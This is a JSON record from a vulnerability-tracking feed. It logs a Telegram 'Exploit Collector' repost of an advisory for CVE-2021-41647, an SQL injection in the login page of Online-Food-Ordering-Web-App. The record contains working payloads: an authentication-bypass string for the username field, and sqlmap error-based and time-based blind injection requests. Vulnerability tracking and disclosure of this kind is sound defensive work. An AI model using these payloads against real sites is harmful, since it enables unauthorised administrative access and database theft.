{"uuid": "6c3f4534-0a41-4e2e-b2a1-63da87f48ec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41647", "type": "seen", "source": "https://t.me/hacking_Attack/26501", "content": "Exploit Collector\nOnline-Food-Ordering-Web-App SQL Injection\n\nhttps://1.bp.blogspot.com/-HlvbbOwsdTc/WWlvV_wSsQI/AAAAAAAAIOA/psrlTyexNtUDdre2JEY7YvqsGP1V8LJKQCLcBGAs/s1600/h47.png \nOnline-Food-Ordering-Web-App suffers from a remote SQL injection vulnerability that allows for authentication bypass.\n\nMD5 | 2e3935af30a88b048926ba5e206dad5a\n\nDownload\nCVE-2021-41647 SQL Injection in Online-Food-Ordering-Web-App\n\nThe Online-Food-Ordering-Web-App is vulnerable to un-authenticated error and time-based blind SQL Injection attacks. The username parameter on the /login.php page does not sanitize the user input, an attacker is able to bypass the login using a simple bypass technique.\nLink To Application\n\nOnline-Food-Ordering-Web-App\nAffected Components & Parameter\n\nURL: /login.php\nPARAMETER: username\nPOC'S\nLOGIN BYPASS PAYLOAD\n\nTo bypass the user login and gain full administrative access, payload in the username input field: user' or 1=1-- -\nSQLMAP PAYLOADS\n\nParameter: username (POST Request) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)\nPayload: username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrf\n\nType: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: username=test'||(SELECT 0x6d6d6367 WHERE 7580=7580 AND (SELECT 4416 FROM (SELECT(SLEEP(5)))nUhT))||'&password=asdfasdrf\nDiscovered by\n\nJason Colyvas\nMOBIUSBINARY\nSeptember 20th, 2021\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:46.493462Z"}